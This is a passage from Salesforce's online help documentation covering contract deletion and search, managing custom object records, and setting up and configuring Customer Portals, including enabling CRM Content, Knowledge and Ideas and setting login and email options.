“Read” on accounts

To delete activated contracts: “Delete Activated Contracts”


AND
“Read” on accounts

To delete a contract, click Del next to the contract on the contracts list page. You can also delete a contract by clicking Delete
on the contract detail page.
When you delete a contract, all related notes, attachments, events and tasks, history, and approval requests are deleted.
Associated accounts are not deleted with the contract. The deleted contract is moved to the Recycle Bin. If you undelete the
contract, any related items are also restored.

See Also:
Recycle Bin
Activating Contracts

Searching for Contracts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view contracts: “Read” on contracts

To find specific contracts:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.

1414
Contracts Searching for Contracts

The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

You can also create a contract list view to find contracts that match specific criteria.

See Also:
Search Overview

1415
CUSTOM OBJECT RECORDS

Custom Object Record Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects records store information that is unique and important to you and your organization. For example, your
organization may use a custom object called “Quotes” to store data for your company's sales quotes. You can also use custom
objects for custom applications, such as tracking software enhancements in a development life-cycle.
Your administrator first defines the custom object and its properties, such as custom fields, relationships to other types of data,
page layouts, and a custom user interface tab. Once the custom object is created and deployed to users, you can enter data to
create individual custom object records. If your administrator has created a tab for the custom object, the tab displays a home
page that lets you quickly create and locate custom object records. You can also sort and filter your custom object records using
standard and custom list views. In addition, the tab lets you view and edit detailed information on each custom object record
to which you have access.
Administrators, and users with the “Modify All Data” permission, can import custom objects. See What Is Imported for
Custom Objects? on page 294.

See Also:
Custom Objects Home
Defining Custom Objects

Custom Objects Home


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a custom object tab: “Read” on the custom object
To view custom object records: “Read” on the custom object

Clicking on a custom object tab displays the tab home page. The name of a custom object tab is the plural form of the custom
object as defined by your administrator.

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. List views let you display a list of records that match specific criteria, such as all custom objects for
a tab or just the ones you own. To edit or delete any view you created, select it from the View drop-down list and click
Edit.
• If custom objects are shared with external contacts via Salesforce to Salesforce, choose one of the list views under [Custom
Object Name] from Connections to view the custom objects that your business partners have shared with you.

1416
Custom Object Records Viewing Custom Object Lists

• In the Recent section, select an item from the drop-down list to display a brief list of the top custom object records matching
that criteria. From the list, you can click any custom object name to go directly to the detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the “Custom
Object Tab” search layout defined by your administrator and by your field-level security settings (available in Enterprise,
Unlimited, and Developer Editions only). The key list choices are:

Recent Custom Objects Choice Description


Recently Viewed The last ten or twenty-five custom object records you viewed,
with the most recently viewed item listed first. This list is
derived from your recent items and includes records owned
by you and other users.
Recently Created The last ten or twenty-five custom object records you created,
with the most recently created item listed first. This list only
includes records owned by you.
Recently Modified The last ten or twenty-five custom object records you
updated, with the most recently updated item listed first.
This list only includes records owned by you.

See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records
Creating Custom List Views

Viewing Custom Object Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object lists: “Read” on the custom object
To create custom object records: “Create” on the custom object

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

1417
Custom Object Records Viewing Custom Object Lists

The custom objects list page displays a list of custom object records in your current view. From this page, you can view detailed
custom object record information and access other related information. A list view includes custom object records of one type
only; you cannot view more than one type of custom object in a single list view.

• Click a custom object name to view the custom object record detail. Click Edit or Del next to a custom object record name
to edit or delete the record. See Displaying and Editing Custom Object Records on page 1419.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Printable View to display the current list view in a format that is ready for printing.
• To take ownership of custom object records in a queue, view the queue list view, check the box next to one or more records,
and then click Accept.
Note: You can view and accept records only from queues of which you are a member or if you are higher in the
role hierarchy than a queue member. Administrators, users with the “Modify All” object-level permission for the
given object, and users with the “Modify All Data” permission, can view and take records from any queue.

• To transfer ownership of multiple records at once, check the box next to one or more custom object records and click
Change Owner. Enter the new record owner, optionally select Send Notification Email to send an email to the
new record owner, and click Save.
• Click New Custom Object Name or select the custom object name from the Create New drop-down list in the sidebar
to create a new custom object of that type. These options display only if you have the “Create” permission on the custom
object. See Creating Custom Object Records on page 1420.
• Click any column heading to sort the records in ascending order using that column’s information. Click a column heading
a second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of records.
• At the bottom of the list, select fewer or more to view a shorter or longer display list.

Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.

See Also:
Custom Object Record Overview
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

1418
Custom Object Records Displaying and Editing Custom Object Records

Displaying and Editing Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object records: “Read” on the custom object
To change custom object records: “Edit” on the custom object

Displaying Custom Object Records


Once you have located a custom object record on the custom objects tab home or list pages, click the custom object
record name to display detailed information.
Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

In Professional, Enterprise, Unlimited, and Developer Edition organizations that have set up the console to include
custom objects, click the Console tab to display the console, which allows you to find, view, and edit custom object
records and their associated records on one screen. For more information, see Displaying the Console on page 1374.

Editing Custom Object Records


To update custom object record details, click Edit, and then change the fields you want to update. When you have
finished, click Save. You can also click Save & New to save the current custom object record and create another. Required
fields are marked with red.
Note: You cannot change the Object Name or Data Type if the custom object is referenced in an Apex
script. For more information, see Force.com Apex Code Overview on page 964.

Tagging Custom Object Records


If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Custom Object Related Lists


The lower portion of the custom object record detail page provides information related to the custom object record
including activities, notes, attachments, and any other related records. The related lists you see are determined by your
personal customization, and by any customization your administrator has made to page layouts or your permissions to
view related data. You can click on individual items to display additional detail. Click more at the bottom of the page
or View More below a related list to display more items. Clicking New lets you directly add new items.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. Hover your
mouse over a related list hover link to display the corresponding related list and its number of records in an
interactive overlay that allows you to quickly view and manage the related list items. You can also click a related
list hover link to jump down to the content of the related list without having to scroll down the page.

1419
Custom Object Records Creating Custom Object Records

Printing Custom Object Records


To open a printable display of all information for a record, click Printable View on the detail page.

To return to the last list page you viewed, click Back to list at the top of any custom object record detail page. If your organization
has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on
the detail page. See Navigating on page 42 for more information.
Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.

See Also:
Custom Object Record Fields
Creating Custom Object Records
Deleting Custom Object Records
Searching for Custom Object Records
Using Custom Related Lists

Creating Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object records: “Read” on the custom object
To create custom object records: “Create” on the custom object

To create a new custom object record:

1. Click New Custom Object Name.


2. Enter the information for the custom object record.
3. Click Save when you are finished, or click Save & New to save the current record and add another.

If your administrator has defined relationships to other types of records, you can automatically associate the new custom object
with another record. View the other record and select the custom object name from the Create New drop-down list in the
sidebar, or click New Object Name in the custom object related list of the other record.

1420
Custom Object Records Cloning Custom Object Records

If your organization uses divisions to segment data, custom objects that are detail objects in a master-detail relationship inherit
their division from the master object. Custom objects that are not related to other records are automatically in the global
division.

See Also:
Custom Object Record Fields
Custom Objects Home
Defining Custom Objects

Cloning Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone custom object records: “Create” on the custom object

The Clone button on a custom object record quickly creates a new custom object record with the same information as the
existing record. To clone a custom object record:

1. Click Clone on an existing custom object record.


2. Enter or change any information for the new record.
3. Click Save.

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Custom Object Record Fields

1421
Custom Object Records Using Custom Related Lists

Using Custom Related Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object record related lists: “Read” on the custom object
AND
“Read” on the associated record

To change custom object records: “Edit” on the custom object


To create custom object records: “Create” on the custom object
To delete custom object records: “Delete” on the custom object

Custom related lists display on the lower portion of the detail page for another record. They list the custom object records
that are associated with that record.
From a custom related list, you can:

• Click the custom object record name to view detailed information.


• Click Edit or Del to edit or delete the custom object record.
• Click New to create a new custom object record that is associated with the record you are viewing.

Your administrator defines whether a custom object can be related to another type of record via master-detail or lookup
relationships. The administrator also specifies whether a custom related list displays on the page layout of the associated record.
For more information, see Overview of Relationships on page 771.

See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records

Custom Object Record Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom object record fields contain the data you enter for your custom object records. Here is a description of the fields (in
alphabetical order) that make up a custom object record. Some of these fields may not be visible or editable depending on your
page layout and field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)

1422
Custom Object Records Custom Object Record Fields

Your administrator may also have defined additional custom fields.

Field Description
Created By User who created the record.
Currency Currency of the record if multicurrency is enabled.
Division Division to which the custom object record belongs. Custom
objects that are “detail” objects in a master-detail relationship
inherit their division from the master object. Custom objects
that are not related to other records are automatically in the
global division. Available only in organizations that use
divisions to segment their data.
Last Modified By User who most recently changed the record.
Name Identifier for the custom object record. This name appears in
page layouts, related lists, lookup dialogs, search results, and
key lists on tab home pages. By default, this field is added to
the custom object page layout as a required field.
Owner Assigned owner of the custom object record. If the custom
object becomes the detail side of a master-detail relationship,
this field is removed, as ownership of the data is controlled by
the master object, or by the primary master object for a custom
object with two master-detail relationships.
Note: Custom objects on the “detail” side of a
master-detail relationship cannot have sharing rules,
manual sharing, or queues, as these require the Owner
field.

See Also:
Custom Objects Home
Custom Object Record Overview

1423
Custom Object Records Deleting Custom Object Records

Deleting Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete custom object records: “Delete” on the custom object

To delete a custom object record, click Del next to the record on the custom objects list page or in the custom related list of
an associated record. You can also delete a custom object record by clicking Delete on the custom object record detail page.
When you delete a custom object record, all related events, tasks, notes, and attachments are also deleted. If the custom object
is the master object in a master-detail relationship, any associated detail records are also deleted. If the custom object is in a
lookup relationship or the detail side of a master-detail relationship, any associated records are not deleted.
The deleted custom object record is moved to the Recycle Bin. If you undelete the record, any related items are also restored.
Note: You can delete a custom object record if you are an administrator, the record owner, or a user above the record
owner in the organization role hierarchy, and if you have the appropriate user permission. Custom objects that are on
the detail side of a master-detail relationship do not have an Owner field and can be deleted by any user who has access
to edit the associated master record.

See Also:
Recycle Bin
Overview of Relationships
Managing Custom Objects
Deleting Relationship Groups
Removing Members from Relationship Group Members

Searching for Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object records: “Read” on the custom object

To find specific custom object records

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.

1424
Custom Object Records Sharing Custom Object Records

2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise and Developer Editions
only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

You can also create a custom object list view to find custom object records that match specific criteria.

See Also:
Search Overview

Sharing Custom Object Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a custom object record: “Read” on the custom object

Your administrator defines the default sharing model for your entire organization. You can change this model to extend sharing
to more users than the default set by your administrator. However, you cannot change the sharing model to make it more
restrictive than the default.
To view and manage sharing details, click Sharing on the custom object record detail page. The Sharing Detail page lists the
users, groups, roles, and territories that have sharing access to the record. On this page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
Note: To share a custom object record with another user, that user must have the “Read” permission on the custom
object.

• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

See Also:
Granting Access to Records
Viewing Which Users Have Access

1425
CUSTOMER PORTAL

Setting Up Your Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal: “Customize Application”

A Salesforce.com Customer Portal is similar to a Self-Service portal in that it provides an online support channel for your
customers—allowing them to resolve their inquiries without contacting a customer service representative. However, a Customer
Portal provides significantly richer functionality than a Self-Service portal. This is because a Customer Portal has functionality
similar to Salesforce.com. With a Customer Portal, you can customize and deliver a visually stunning user interface to your
customers, and use the following Salesforce.com features to help you and your customers succeed:

• Determine which pages and fields customers see with page layouts and field-level security
• Manage customers with profiles, roles, and sharing rules
• Provide and organize documents via Salesforce CRM Content or the Documents tab
• Create a knowledge base for your customers using Salesforce Knowledge
• Allow customers to participate in Salesforce CRM Ideas communities.
• Display and collect data that is unique to your organization with custom objects
• Display custom s-controls and content from other websites via Web tabs
• Provide customized reports via the Reports tab

Setting up your Customer Portal consists of the following steps:

1. Enable the Customer Portal.


2. Create one or more portals.
For each portal:

a. Configure the settings and communication templates.


You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set
Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. For
more information, see Creating Multiple Customer Portals on page 1433.
The Convert Portal User Access wizard automatically displays after the first time you save settings for your first portal,
whether it is the Customer Portal or partner portal. You can use this wizard to help ensure that records and folders
owned by Salesforce.com users are not shared with portal users.
b. Customize the fonts and colors.
c. Customize the available tabs and tab order.
d. Configure portal languages.

3. Optionally, enable Salesforce CRM Content,Salesforce CRM Ideas, or Salesforce Knowledge as needed.
4. Create Customer Portal profiles.

1426
Customer Portal Setting Up Your Customer Portal

For each profile:

a. Customize page layouts. For more information, see Customizing Your Customer Portal Pages.
For setup tips and general information about Salesforce.com Customer Portal pages, see Setup Tips and Considerations
for Customer Portal Pages on page 1447.
b. Customize list views. For more information, see Creating Custom List Views on page 1691.
Customer Portal users can automatically see any list view with visibility settings marked Visible to all users.
We recommend that you create specific list views on all objects accessible to portal users, and then assign portal users
to only the list views you want them to view.
c. Customize search layouts. For more information, see Customizing Search Layouts on page 645.
The search layouts in your Salesforce.com organization are the same search layouts used in your Customer Portal.
Verify that search layouts on objects accessible to portal users only include fields you want them to view in search results.

5. Set up workflow:
a. Set up workflow rules or case assignment rules to automatically assign cases created by portal users to Salesforce.com
users or queues by using the criteria Current User: User Type contains Customer Portal. For more
information, see Setting Up Assignment Rules on page 700 and Managing Workflow Rules on page 796.
For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and
Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles.
Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case is
created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users, add
a rule entry using the criteria Current User: User Type contains Customer Portal and select the Do
Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 700.
b. Create workflow alerts or case auto-response rules to automatically respond to portal users when they create a case on
your portal. To help you determine whether to use workflow alerts or auto-response rules, see Differences Between
Auto-Response Rules and Workflow Alerts on page 711.

6. Configure portal user access.


7. Grant high-volume Customer Portal users access to objects.
8. Optionally, enable single sign-on.
9. Enable login on each Customer Portal.
10. Add a link on your organization's website to the portal.
Users can navigate to your Customer Portal after you copy the Login URL from your portal's settings and paste it into
the HTML of your website. For more information, see Enabling Customer Portal Login and Settings on page 1434.
11. Enable contacts to use your portal.

To learn more about implementing a Customer Portal, see Preparation for Setting Up Your Portal on page 712.

1427
Customer Portal Setting Up Your Customer Portal

Note: Contact salesforce.com about activating a Customer Portal for your organization.

See Also:
Customer Portal Setup Limits
Administrator setup guide: Salesforce Customer Portal Implementation Guide
Creating Multiple Customer Portals
Enabling Single Sign-On for Portals

Enabling Your Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable the Customer Portal: “Customize Application”

To enable the Salesforce.com Customer Portal:

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Click Edit.
3. Select Enable Customer Portal.
4. Click Save.
5. Continue setting up the portal.

Tips on Enabling the Customer Portal


Consider the following when enabling the Customer Portal:
• After you enable the Customer Portal, you can create multiple Customer Portals to satisfy the various business needs of
your customers.
• These items become available after you enable the Customer Portal:
- The High-Volume Customer Portal User, Authenticated Website User, Customer Portal Manager, and Customer
Portal User profiles, if you purchased user licenses for them.
- The Enable Customer Portal User and View Customer Portal User buttons on contact and person account records.
- The All Customer Portal Users and All Internal Users groups along with the Roles and Internal Subordinates sharing
rule category.

1428
Customer Portal Setting Up Your Customer Portal

• After you enable a Customer Portal, you cannot disable it. However, you can prevent users from logging into it. See
Enabling Customer Portal Login and Settings on page 1434.

See Also:
Setting Up Your Customer Portal
Enabling Salesforce CRM Content in the Customer Portal
Managing Customer Portal Users
Enabling the Customer Portal for Contacts and Person Accounts

Enabling Salesforce CRM Content in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal: “Customize Application”
To create and edit profiles: “Manage Users”
To manage Customer Portal users: “Edit Self-Service Users”
To create Salesforce CRM Content workspace permissions: “Manage Salesforce CRM Content” OR
“Manage Content Permissions”

To add users to a Salesforce CRM Content workspace: “Manage Salesforce CRM Content”
OR
Manage Workspace checked in your workspace permission
definition

Salesforce CRM Content is available in the Customer Portal. Two levels of access to Salesforce CRM Content can be granted
to Customer Portal users:

• Portal users without a Salesforce CRM Content feature license can download, rate, comment on, and subscribe to content
if they have the “View Content on Portals” user permission in their user profiles. They cannot view potentially sensitive
data such as user names and download, version, and subscriber history. The content delivery feature is not available to
portal users.
• Portal users with a Salesforce CRM Content feature license can access all Salesforce CRM Content features granted by
their workspace permission(s), including contributing content, moving and sharing content among workspaces, and deleting
content. They can also view Salesforce CRM Content reports. The content delivery feature is not available to portal users.

Enable Salesforce CRM Content for Non-Licensed Users


After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals.
Use these steps if you have not purchased Salesforce CRM Content feature licenses for your portal users.
1. Update Customer Portal profiles:

1429
Customer Portal Setting Up Your Customer Portal

a. Clone the Customer Portal User and/or Customer Portal Manager profiles to include the “View Content on Portals”
user permission.
b. In the cloned profiles, change the tab visibility for the Workspaces, Content, and Subscriptions tabs from Tab Hidden
to Default On.
c. Assign the cloned profiles to your Customer Portal users.

2. Determine what privileges your portal users will have in each Salesforce CRM Content workspace by creating one or more
workspace permissions.
Note: A workspace permission can only grant privileges that a user's feature license or profile permits. For example,
even though Tag Content is a workspace permission option, selecting it does not allow portal users without a
Salesforce CRM Content feature license to tag content.

3. Determine which workspaces you want your portal users to have access to. Ensure that confidential content is not available
in these workspaces.
4. Add portal users to workspaces. Portal users with the Customer Portal User profile or a clone of that profile can only be
added to a workspace as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that
profile can be added to a workspace individually.
5. Add the Salesforce CRM Content tabs to each Customer Portal.
Note: The Documents tab is not part of Salesforce CRM Content.

Enable Salesforce CRM Content for Licensed Users


After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals.
Use these steps if you have purchased Salesforce CRM Content feature licenses for your portal users
1. Update Customer Portal profiles:
a. Optionally, clone the Customer Portal User and/or Customer Portal Manager profiles to include the “Create Workspaces”
user permission if you want to allow portal users to create and administer new workspaces.
b. In your standard or cloned Customer Portal profiles, change the tab visibility for the Workspaces, Content, and
Subscriptions tabs from Tab Hidden to Default On.
c. Assign the cloned profiles to your Customer Portal users as needed.

2. Select the Salesforce CRM Content User checkbox on the user detail page for each Customer Portal user.
3. Determine what privileges your portal users will have in each Salesforce CRM Content workspace by creating one or more
workspace permissions.
Note: A workspace permission can only grant privileges that a user's feature license or profile permits. For example,
even though Tag Content is a workspace permission option, selecting it does not allow portal users without a
Salesforce CRM Content feature license to tag content.

4. Determine which workspaces you want your portal users to have access to. Ensure that confidential content is not available
in these workspaces.
5. Add portal users to workspaces. Portal users with the Customer Portal User profile or a clone of that profile can only be
added to a workspace as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that
profile can be added to a workspace individually.
6. Add the Salesforce CRM Content tabs to each Customer Portal.

1430
Customer Portal Setting Up Your Customer Portal

Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Setting Up Your Customer Portal
Enabling Your Customer Portal
Salesforce CRM Content Overview

Enabling Salesforce Knowledge in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal: "Customize Application"
To create and edit profiles: "Manage Users"
To manage Customer Portal users: "Edit Self-Service Users"
To viewSalesforce Knowledge articles: "View articles”

You can use the Customer Portal to provide your customers with access to Salesforce Knowledge articles. Portal users can
view and rate articles but cannot create or edit articles.
After you have set up Salesforce Knowledge in your organization and enabled your Customer Portal, complete the following
steps to enable Salesforce Knowledge in your portals.

1. Update Customer Portal profiles:

a. Clone the Customer Portal User and/or Customer Portal Manager profiles to include the "View Articles" user permission.
Note: High-Volume Customer Portal users cannot access Salesforce Knowledge.

b. In the cloned profiles, verify that the tab visibility for the Articles tab is Default On.

2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profile.
3. Assign the cloned profiles to your Customer Portal users:

a. To create a new Customer Portal user, click Enable Customer Portal User on the contact detail page. To update an
existing user, click View Customer Portal User on the contact detail page.
b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then
select the profile.
c. Click Save.

1431
Customer Portal Setting Up Your Customer Portal

4. Add the Articles tab to each Customer Portal.


5. Notify users who create articles that they must select Customer Portal as a channel option when creating or modifying an
article. If the Customer Portal channel is not selected, the article will not appear in the portal.
6. To allow users to search for articles from the Home tab, add the Article Search component to the home page layout. Ensure
that you assign the layout to the Customer Portal profiles.

See Also:
What is Salesforce Knowledge?
Setting Up Salesforce Knowledge
Useful Salesforce Knowledge Terminology

Enabling Salesforce CRM Ideas in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up and update the Customer Portal: “Customize Application”
To create and edit profiles: “Manage Users”
To create a Salesforce CRM Ideas community: “Customize Application”

Salesforce CRM Ideas is available in the Customer Portal.


After you have set up your Customer Portal, follow the steps below to enable Salesforce CRM Ideas in your portal.

1. Create a Salesforce CRM Ideas community that is active and configured to display in the portal. For more information,
see Creating and Editing Communities on page 1617.
2. Add the Salesforce CRM Ideas tab to your Customer Portal. For more information, see Customizing Your Customer
Portal Tabs on page 1444.
3. If your organization has the Ideas Only Portal license, hide the Reports tab in the Customer Portal. Otherwise, your
Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on
hiding tabs, see Customizing Your Customer Portal Tabs on page 1444.

1432
Customer Portal Setting Up Your Customer Portal

Creating Multiple Customer Portals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create multiple Customer Portals: “Customize Application”

After you have enabled the Salesforce.com Customer Portal, you can create multiple Customer Portals to satisfy the various
business needs of your customers.
To create more than one Customer Portal:
1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.
2. Click New.
3. Follow the same steps used to set up your organization's first Customer Portal. For details, see Setting Up Your Customer
Portal on page 1426.
Note: Contact salesforce.com for information about the number of Customer Portals you can activate for your
organization.

Before you begin creating multiple Customer Portals for your organization, review the following implementation tips and best
practices.

Implementation Tips
• Portal users can only log into Customer Portals assigned to their profile. To assign a profile to a Customer Portal, select
the name of a portal from the Customer Portal Setup page, click Edit Profiles in the Assigned Profiles section, and select
the Active checkbox next to the profile you want to assign to the portal.
A portal user can access all the Customer Portals assigned to his or her profile with one username and password.
You can view the number of active users associated with each profile assigned to a Customer Portal on the Users field on
the Assigned Profiles section.
• The login URL of each Customer Portal you create contains a unique identifier, such as portalId=060D00000000Q1F.
The unique identifier determines the specific portal a user can access. If a user accesses a login URL that does not contain
a unique identifier, they are automatically directed to the login URL of the first Customer Portal you created. Note that
portal users can only log into a Customer Portal via the portal's login page and not through the Salesforce.com login page.
• The settings on the following items apply to both your organization and your Customer Portals:
- List views
- Search layouts
- Case assignment rules
- Workflow alerts

Best Practices
• Because you can uniquely customize the fonts, colors, email templates, and login message of each Customer Portal you
create, you can build a Customer Portal for each product and customer service level supported by your organization. For

1433
Customer Portal Setting Up Your Customer Portal

example, if your organization provides gold, silver, and bronze levels of customer support, then you could create a unique
Customer Portal for each.
Note: JavaScript and CSS code are automatically removed from HTML files used as the portal login message.

• You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default
Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. These settings
determine the email templates to use when sending email notifications, such as a new case comment or a reset password,
to portal users whose profiles are associated with more than one Customer Portal.
By default, sample templates are automatically selected for you in the New User Template, New Password Template,
and Lost Password Template lookup fields. However, sample templates are not selected for you in the New Comment
Template and Change Owner to Portal User Template lookup fields. Unless you select templates for these
fields, users whose profiles are associated with more than one Customer Portal will not receive email notifications when
new comments are added to their cases or when they become the new owner of a record in the Customer Portal. To create
templates or modify the samples, see Managing Email Templates on page 109. Email templates must be marked as
Available for Use to be sent to portal users.
Tip: Because the default email templates are sent to users of multiple Customer Portals, we recommend that you
create default email templates that do not contain portal-specific branding.

• You cannot delete a Customer Portal, but you can prevent users from logging into a portal by deselecting the Login
Enabled checkbox. For more information, see Enabling Customer Portal Login and Settings on page 1434.
• You can create multiple Customer Portals that display different tabs for users with the same profile, as long as the profile
has access to each object displayed on a tab. For more information, see Creating and Editing Profiles on page 146 and
Customizing Your Customer Portal Tabs on page 1444.

See Also:
Setting Up Your Customer Portal
Managing Customer Portal Users
Customizing Your Customer Portal Tabs
Administrator setup guide: Salesforce Customer Portal Implementation Guide

Enabling Customer Portal Login and Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable login and settings for the Customer Portal: “Customize Application”

1. Click Setup ➤ Customize ➤ Customer Portal ➤ Settings.


2. Click Edit next to the name of the Salesforce.com Customer Portal you want to customize.
3. Set the following options:

1434
Customer Portal Setting Up Your Customer Portal

Setting Description
Name Name of the Customer Portal as displayed on the portal's
detail and edit pages, as well as the Customer Portal Setup
page. The name of the Customer Portal is not displayed on
portal pages, but it does display in the browser title bar.
The name of your portal must be unique for your
organization and not already in use by a Customer Portal or
partner portal. Furthermore, an error may occur if you name
a Customer Portal “partner portal” or vice versa.

Description A description of the Customer Portal as displayed on the


portal's detail and edit pages. The description of the
Customer Portal is not displayed in the portal.
Login Enabled Allows users to log in to the Customer Portal.
We recommend that you do not select this checkbox until
you have completed the steps described in Setting Up Your
Customer Portal.

Administrator
Click the lookup icon ( ) to choose a default administrator
for your Customer Portal. All email notifications regarding
users who self-register for your Customer Portal will be sent
to this Salesforce.com user.
Notifications include information about registration errors
and any other issues self-registering customers may
experience, such as inadvertently entering duplicate email
addresses, creating duplicate contact records, and exceeding
your organization's user license limit.
When choosing an administrator for your Customer Portal,
you can only select users that have the “Edit Self-Service
Users” permission. Furthermore, you cannot deactivate a
user selected as a portal administrator. For more information,
see Deactivating Users on page 131.

Portal Default Settings


Setting Description
Login URL The URL of the Web page that displays when users log in
to your Customer Portal.
You can click this URL to log in to your portal and interact
with it.
Insert this URL into your website so users can access the
login page to your Customer Portal.

1435
Customer Portal Setting Up Your Customer Portal

Portal Default Settings


Setting Description
The login URL of each Customer Portal you create contains
a unique identifier, such as portalId=060D00000000Q1F.
The unique identifier determines the specific portal a user
can access. If a user accesses a login URL that does not
contain a unique identifier, they are automatically directed
to the login URL of the first Customer Portal you created.
Note that portal users can only log into a Customer Portal
via the portal's login page and not through the
Salesforce.com login page.

Logout URL The URL of the Web page that displays when users log out
of the Customer Portal, for example,
“http://www.acme.com.” If a logout URL is not specified,
portal users return to the login page when they log out.
Top-Level Category for Portal The top-level category accessible by customers in the
Customer Portal. Customers can view all solutions marked
Visible in Self-Service Portal in this category
and its subcategories.
This field is available only if you have enabled solution
browsing. See Customizing Solution Settings on page 698.

Enable Self-Close Case from Suggested Allows users to close cases in the Customer Portal directly
Solutions from suggested solutions. For example, when a user views a
suggested solution that helps them solve a case, he or she
can click Yes, please close my case if this setting is enabled.
For more information about suggested solutions, see What
are Suggested Solutions? on page 2108.

Show Action Confirmation Allows users to view confirmation messages after they
complete an action in the Customer Portal. For example,
after a user creates a case in your Customer Portal, he or she
views the message: “Case has been submitted” if this setting
has been enabled.
Confirmation messages may help users clearly understand
actions they have completed in your Customer Portal.

Email Notification Settings


Setting Description
From Email Address The email address from which all Customer Portal
communication templates are sent, for example,
“support@acme.com.” Salesforce.com sends the emails
automatically, but they appear to portal users as if they were

1436
Customer Portal Setting Up Your Customer Portal

Email Notification Settings


Setting Description
sent from this email address. If a portal user responds to a
communication template, the response is sent to this address.
From Email Name The name associated with the “From” Email Address, for
example, “Acme Customer Support.”
New User Template The email template used to send a username and initial
password to all newly-enabled and self-registering Customer
Portal users. By default, a sample template is automatically
selected for you. To create your own template or modify the
sample, see Managing Email Templates on page 109. This
template must be marked as Available for Use.
New Password Template The email template used to send a new password to existing
Customer Portal users when you reset their passwords. By
default, a sample template is automatically selected for you.
To create your own template or modify the sample, see
